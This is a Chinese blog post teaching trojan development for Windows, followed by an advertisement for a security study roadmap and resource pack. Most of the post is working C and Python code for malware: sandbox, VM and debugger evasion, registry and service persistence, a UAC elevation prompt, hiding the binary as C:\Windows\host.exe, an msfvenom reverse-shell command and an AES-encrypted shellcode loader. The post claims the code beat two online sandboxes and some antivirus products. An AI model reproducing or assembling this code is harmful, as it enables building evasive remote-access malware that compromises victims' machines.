文章目录
反沙箱
沙箱(Sandbox)是一种隔离机制,通过创建一个受控的、隔离的计算环境,允许软件在不影响宿主系统或网络的情况下运行和测试。这种技术在恶意程序分析中尤为重要,因为它能够安全地捕获和分析恶意软件的行为、特征及其对系统和网络的影响。在国内,常用的两个在线云沙箱分析平台是微步和安恒
https://s.threatbook.com/
https://sandbox.dbappsecurity.com.cn/
接下来的案例实战测试将基于这两个平台进行
在沙箱环境中,常用的应用程序(如QQ、微信、钉钉等)通常不存在。为了检测是否运行在沙箱环境中,可以写一个白名单机制。将所有常用软件的名称添加到白名单中,然后遍历当前系统中的进程。如果白名单中的程序没有一个在运行,则可以判定当前环境可能为沙箱,从而触发木马程序退出
#include<windows.h>
#include<tlhelp32.h>
#include<stdio.h>
#include<stdbool.h>boolis_process_running(constchar*process_name){
boolfound=false;
HANDLEhProcessSnap;
PROCESSENTRY32pe32;hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==INVALID_HANDLE_VALUE){
returnfalse;
}pe32.dwSize=sizeof(PROCESSENTRY32);if(!Process32First(hProcessSnap,&pe32)){
CloseHandle(hProcessSnap);
returnfalse;
}do{
if(strcmp(pe32.szExeFile,process_name)==0){
found=true;
break;
}
}while(Process32Next(hProcessSnap,&pe32));CloseHandle(hProcessSnap);
returnfound;
}intmain(){
if(!is_process_running("qq.exe")&&!is_process_running("wechat.exe")){
return0;
}return0;
}
使用CreateToolhelp32Snapshot
函数获取系统中所有进程的快照,然后用Process32First
函数获取第一个进程的信息,Process32Next
函数遍历剩余的进程 , 比较每个进程的名称(pe32.szExeFile
)与process_name
,如果匹配则设置found
为true
并退出循环
实战测试,这两个云沙箱平台都无法正常运行程序,成功绕过沙箱
反虚拟机
在手动分析恶意软件时,通常是在虚拟机环境中进行的。为检测程序是否在虚拟机中运行,可以读取特定的注册表信息。如果检测到当前程序正在虚拟机中运行,则自动退出程序,以避免分析和调试
#include<windows.h>
#include<stdio.h>intIsRunningInVM(){
charszHardware[256];
DWORDsize=sizeof(szHardware);
intisVM=0;if(RegGetValueA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Enum\\IDE","HardwareID",RRF_RT_REG_SZ,NULL,szHardware,&size)==ERROR_SUCCESS){
if(strstr(szHardware,"VMware")||strstr(szHardware,"Virtual")){
isVM=1;
}
}size=sizeof(szHardware);
if(RegGetValueA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum","0",RRF_RT_REG_SZ,NULL,szHardware,&size)==ERROR_SUCCESS){
if(strstr(szHardware,"VMware")||strstr(szHardware,"VBOX")){
isVM=1;
}
}returnisVM;
}
intmain(intargc,char*argv[]){
if(IsRunningInVM()){
return0;
}
RegGetValueA
被调用以从注册表路径HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE
中检索HardwareID
的值, 如果调用成功(返回ERROR_SUCCESS
),则检查检索到的字符串(szHardware
)是否包含子字符串 “VMware” 或 “Virtual” , 如果找到任一子字符串,则将isVM
设置为 1 ,第二个if判断同理
如果返回1,则代表程序在虚拟机里运行,执行退出指令
反调试
使用IsDebuggerPresent
函数可以防止逆向工程工具进行动态调试
#include<windows.h>
#include<stdio.h>voidcheckDebugger(){
if(IsDebuggerPresent()){
ExitProcess(1);
}intmain(){
checkDebugger();
return0;
}
IsDebuggerPresent()
返回非零值,意味着检测到调试器,程序将调用ExitProcess(1)
退出程序,实测xdbg调试程序时会触发退出
添加到开机启动项
"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
是一个注册表路径,用于存储当前用户登录时自动运行的程序。我们可以将当前程序的路径写入该注册表项,以实现开机自启动功能
#include<windows.h>
#include<stdio.h>voidadd_to_startup(constchar*appname,constchar*path){
HKEYhKey;
LONGresult;result=RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,KEY_SET_VALUE,&hKey);if(result!=ERROR_SUCCESS){
return;
}result=RegSetValueEx(hKey,appname,0,REG_SZ,(BYTE*)path,strlen(path)+1);RegCloseKey(hKey);
}intmain(intargc,char*argv[]){
charpath[MAX_PATH];
if(GetModuleFileName(NULL,path,MAX_PATH)==0){
return1;
}
add_to_startup("MyAppName",path);
}
实测写入注册表时只有360会有提示,火绒和defender不会弹出提示
AES混淆shellcode
首先需要cs或者msf生成raw格式的shellcode源文件,这里用msf举例
msfvenom-pwindows/x64/shell_reverse_tcplhost=192.168.0.110lport=8888-fraw-omsf.bin
然后用python脚本生成aes加密的key和加密后的shellcode
importsys
fromCrypto.CipherimportAES
fromCrypto.Util.Paddingimportpad
fromosimporturandom
importhashlibdefAESencrypt(plaintext,key):
k=hashlib.sha256(KEY).digest()
iv=16*b'\x00'
plaintext=pad(plaintext,AES.block_size)
cipher=AES.new(k,AES.MODE_CBC,iv)
ciphertext=cipher.encrypt(plaintext)
returnciphertext,keydefprintResult(key,ciphertext):
print('charAESkey[]={0x'+',0x'.join(hex(x)[2:]forxinKEY)+'};')
print('unsignedcharpayload[]={0x'+',0x'.join(hex(x)[2:]forxinciphertext)+'};')try:
file=open(sys.argv[1],"rb")
content=file.read()
except:
print("Usage:.\AES_cryptor.pyPAYLOAD_FILE")
sys.exit()KEY=urandom(16)
ciphertext,key=AESencrypt(content,KEY)printResult(KEY,ciphertext)
在木马里写入aes解密脚本即可
#include<windows.h>
#include<string.h>
#include<stdlib.h>
#include<stdio.h>
#include<wincrypt.h>
#include<shlobj.h>
#pragmacomment(lib,"crypt32.lib")
#pragmacomment(lib,"advapi32.lib")voidaes(char*code,DWORDcodeLen,char*key,DWORDkeyLen){
HCRYPTPROVhProv;
HCRYPTHASHhHash;
HCRYPTKEYhKey;if(!CryptAcquireContextW(&hProv,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)){
return;
}
if(!CryptCreateHash(hProv,CALG_SHA_256,0,0,&hHash)){
return;
}
if(!CryptHashData(hHash,(BYTE*)key,keyLen,0)){
return;
}
if(!CryptDeriveKey(hProv,CALG_AES_256,hHash,0,&hKey)){
return;
}if(!CryptDecrypt(hKey,(HCRYPTHASH)NULL,0,0,(BYTE*)code,&codeLen)){
return;
}CryptReleaseContext(hProv,0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
intmain(intargc,char*argv[]){
unsignedcharkey[]={0xed,0x39,0x56,0x67,0xcd,0x62,0xf7,0x91,0x62,0xb,0x85,0x53,0x9b,0x17,0xae,0xc9};
unsignedcharcode[]={0xa0,0x82,0xa3,0xbf,0xce,0xd5,0xd5,0xce,0x0,0xf8,0xc1,0x34,0x7f,0x39,0xcf,0xdb,0xf2,0xd3,0x72,0x2c,0xf2,0x8c,0xf7,0xc4,0xaf,0x66,0xb7,0x82,0xb8,0xbe,0x3,0x31,0xfc,0x3d,0x58,0xd0,0x99,0xda,0xdf,0xc2,0x3,0xd,0xa3,0x3d,0x59,0xb,0x73,0x4b,0x38,0xa6,0x1e,0xd7,0xd7,0x9f,0x63,0x84,0xb8,0xe2,0x0,0x53,0x21,0x7f,0x17,0x67,0xfc,0xc7,0xd0,0x72,0x5e,0x86,0xff,0xa4,0x8d,0x47,0x53,0xa0,0x4,0xee,0x6e,0x16,0xe9,0x4e,0x15,0x2,0x6a,0x84,0x8c,0x59,0xd1,0xb0,0x16,0x3b,0x78,0x6a,0x4a,0x16,0xfe,0x44,0x47,0x4e,0x86,0x97,0xb6,0x3b,0xaa,0xff,0xab,0x4,0x80,0x54,0x5e,0xbd,0x8f,0x88,0x8c,0x34,0xdb,0xe8,0xfd,0x49,0xe9,0x16,0x1f,0xff,0x64,0xb3,0xe0,0xce,0x43,0xb1,0x6f,0x55,0xba,0x68,0x30,0xc8,0x77,0x63,0xc9,0xf0,0x23,0x75,0xe,0x82,0xc2,0x76,0x87,0x3e,0x43,0xcd,0x3b,0xb6,0x97,0x33,0x2,0x7c,0x12,0x5e,0xd3,0x74,0x85,0xc5,0x24,0x42,0x45,0x53,0xda,0x4a,0x3e,0x95,0x40,0x57,0x8d,0xd5,0x70,0x6,0xb8,0x3f,0xa4,0x67,0x4,0x42,0xaa,0x61,0x31,0x70,0x2a,0x28,0x9,0x70,0xdd,0xd1,0xf2,0x73,0xd2,0x2f,0x38,0xd4,0x22,0xab,0x68,0xd2,0x63,0x47,0xb3,0x3a,0xee,0xa9,0x6f,0x53,0x83,0xb6,0x4e,0x25,0xbf,0x18,0x41,0xf8,0x3e,0xcd,0x3b,0x97,0x8,0xb3,0x18,0x5c,0x59,0xbf,0xc6,0x7a,0xa,0x6d,0x80,0x9b,0xa3,0x24,0x89,0x8,0x6a,0x27,0x1a,0x25,0x92,0x12,0x81,0x57,0x90,0x6,0x17,0x92,0xaa,0x7e,0x5d,0x7,0xf8,0xd1,0x38,0x74,0x4f,0xab,0xb2,0xc1,0x15,0xf8,0x65,0xf1,0x59,0x68,0x0,0x14,0x58,0x86,0xcf,0xc4,0x3a,0x3b,0xbb,0xc1,0xc5,0xdb,0xef,0x22,0x85,0x5,0xdc,0x89,0x1e,0xc6,0x50,0x81,0x8,0xd,0x22,0xab,0xd8,0x7d,0xc6,0x3c,0xad,0x49,0x10,0xdf,0x6e,0x92,0x88,0x99,0xb8,0x5d,0xa6,0xe3,0x2d,0xb7,0x4c,0xc6,0xbb,0xce,0xd5,0x4c,0x5f,0x7c,0x22,0xcb,0xe7,0x56,0x12,0xd9,0xe6,0x43,0x3e,0xa7,0xc2,0xca,0xf6,0x11,0x10,0x2b,0xd5,0xa9,0xe2,0x9d,0x53,0xb3,0xcf,0x46,0xca,0x65,0xb0,0x3a,0xa4,0x29,0x18,0x53,0x68,0xfc,0xe6,0xcf,0xa6,0xdb,0x80,0xae,0x84,0x98,0x99,0x2e,0x88,0xac,0x7,0x75,0x35,0x9d,0x24,0x59,0x6b,0x4f,0x78,0x34,0xef,0x2b,0x19,0x72,0x34,0x1a,0x52,0x46,0xe9,0x50,0x26,0x12,0xee,0x10,0xd,0x6d,0x3,0x8b,0x73,0x21,0x11,0x22,0x3d,0x17,0xe2,0x39,0x5c,0x6,0xd7,0x21,0xad,0xd1,0x8f,0xd2,0x5f,0xd2,0xeb,0x20,0xd1,0x1c,0x7c,0x64,0xb9,0xa9,0x76,0x1d,0xfa,0xbc,0x10,0x13,0x67,0x8f,0x71,0xf9,0x1d,0x74,0xb5,0xf2,0xd6,0xed,0xd4,0xcf,0xc,0x4f,0xb1,0x3,0x7b,0x6f,0x55,0x13,0x62,0x1c,0x3b,0x17,0xe6,0xa2,0xbf,0x23,0x5d,0x5,0x7a,0x9d,0x39,0x87,0x51,0x13,0xd9,0xae,0xbb,0xb,0xa8,0xfd,0x6c,0x55,0xde,0x18,0x4c,0x98,0xe1,0x31,0x7b,0xd1,0x37,0xbd,0x91,0xc6,0x63,0x92,0x61,0xb9,0x75,0xb4,0xdc,0xcf,0xb9,0xfe,0x5b,0xb4,0x5d,0xd4,0x22,0x6e,0x8d,0xc0,0xd,0xce,0x97,0xd8,0x8b,0x40,0x5c,0x1c,0xcb,0x3,0xb8,0xe9,0x30,0x49,0x95,0xe0,0x3d,0x13,0xd,0x14,0x15,0xb9,0x6b,0xbd,0x9,0xfc,0x77,0x4d,0xac,0xb,0x28,0x69,0xd5,0xec,0x7,0x47,0x50,0x2,0x9c,0x10,0x11,0xf7,0xe,0x55,0x4,0xa3,0x7e,0x5b,0x96,0x36,0x6b,0x62,0xf6,0x65,0x18,0x44,0x82,0x52,0x98,0x98,0x9f,0x8e,0x5f,0xc1,0x92,0x56,0xc0,0xb4,0x54,0x8c,0x65,0xfe,0xb6,0xc6,0x26,0x4,0x9e,0xf0,0xa7,0x75,0x95,0x1e,0x8e,0xd1,0xb0,0x41,0x83,0xe,0x79,0xa9,0x1b,0x28,0x68,0x75,0x8a,0xd0,0x38,0x8b,0x47,0x5a,0xc2,0xe,0x6d,0x96,0x6e,0xe7,0x45,0xe1,0x7e,0x95,0x80,0xf3,0xc4,0xce,0xc5,0x11,0x70,0x63,0x36,0x79,0x5c,0x9e,0x4f,0x35,0xe2,0x6d,0x28,0x4,0x9d,0xdb,0x2a,0x2d,0x8b,0x5f,0xcf,0xb0,0xda,0xab,0x10,0x9b,0xec,0xaf,0x13,0x34,0xe8,0x65,0x2b,0x6f,0xf4,0xc9,0x43,0x35,0x6c,0x56,0x2f,0xa9};DWORDcode_length=sizeof(code);
aes((char*)code,code_length,key,sizeof(key));
//现在解密了shellcode,之后运行code函数即可}
开机自启动服务注册
windows服务注册需要管理员权限,可以提权后或者弹框申请管理员权限运行后再执行注册服务功能
#include<windows.h>
#include<string.h>
#include<stdlib.h>
#include<stdio.h>
#include<wincrypt.h>
#include<shlobj.h>
#pragmacomment(lib,"crypt32.lib")
#pragmacomment(lib,"advapi32.lib")voidCreateServiceToRunAtStartup(){
SC_HANDLEschSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
if(schSCManager==NULL){
return;
}charpath[MAX_PATH];
SHGetSpecialFolderPath(NULL,path,CSIDL_WINDOWS,FALSE);
strcat(path,"\\host.exe");SC_HANDLEschService=CreateService(
schSCManager,
"host",
"host",
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
path,
NULL,NULL,NULL,NULL,NULL);if(schService==NULL){
CloseServiceHandle(schSCManager);
return;
}CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
}intmain(intargc,char*argv[]){
CreateServiceToRunAtStartup();//会将当前程序注册一个名叫host.exe的windows服务,并且开机自启动
}
弹框申请管理员权限运行
#include<windows.h>
#include<string.h>
#include<stdlib.h>
#include<stdio.h>
#include<wincrypt.h>
#pragmacomment(lib,"crypt32.lib")BOOLIsRunAsAdministrator(){
BOOLfIsRunAsAdmin=FALSE;
PSIDpAdministratorsGroup=NULL;SID_IDENTIFIER_AUTHORITYNtAuthority=SECURITY_NT_AUTHORITY;
if(AllocateAndInitializeSid(&NtAuthority,2,SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,
0,0,0,0,0,0,&pAdministratorsGroup)){
CheckTokenMembership(NULL,pAdministratorsGroup,&fIsRunAsAdmin);
FreeSid(pAdministratorsGroup);
}returnfIsRunAsAdmin;
}voidElevatePrivileges(){
if(!IsRunAsAdministrator()){
charszPath[MAX_PATH];
if(GetModuleFileName(NULL,szPath,ARRAYSIZE(szPath))){
SHELLEXECUTEINFOsei={sizeof(sei)};
sei.lpVerb="runas";
sei.lpFile=szPath;
sei.hwnd=NULL;
sei.nShow=SW_NORMAL;
if(!ShellExecuteEx(&sei)){
exit(1);
}
exit(0);
}
}
}
intmain(intargc,char*argv[]){
ElevatePrivileges();
}
效果是这样,双击运行后会弹框申请管理员权限运行
木马程序转移隐藏
voidCopyFilesToWindowsDir(){
charsrcPath[MAX_PATH],destPath[MAX_PATH],dllSrcPath[MAX_PATH];
GetModuleFileName(NULL,srcPath,MAX_PATH);
SHGetSpecialFolderPath(NULL,destPath,CSIDL_WINDOWS,FALSE);
strcat(destPath,"\\host.exe");
CopyFile(srcPath,destPath,FALSE);
}intmain(intargc,char*argv[]){
CopyFilesToWindowsDir();
}
运行后将木马转移到了c:/windows目录下,改名为host.exe
这里我整合并且整理成了一份【282G】的网络安全/红客技术从零基础入门到进阶资料包,需要的小伙伴文末免费领取哦,无偿分享!!!
零基础学习计划安排
学习路线图大纲总览
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
【一一帮助网络安全学习,以下所有资源免费领取一一】
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
接下来我将给各位小伙伴划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
这部分内容对于咱们零基础的同学来说还太过遥远了,由于篇幅问题就不展开细说了,我给大家贴一个学习路线。感兴趣的童鞋可以自行研究一下哦,当然你也可以点击这里加我与我一起互相探讨、交流、咨询哦。
资料领取
上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 即可免费领取↓↓↓
或者
【点此链接】领取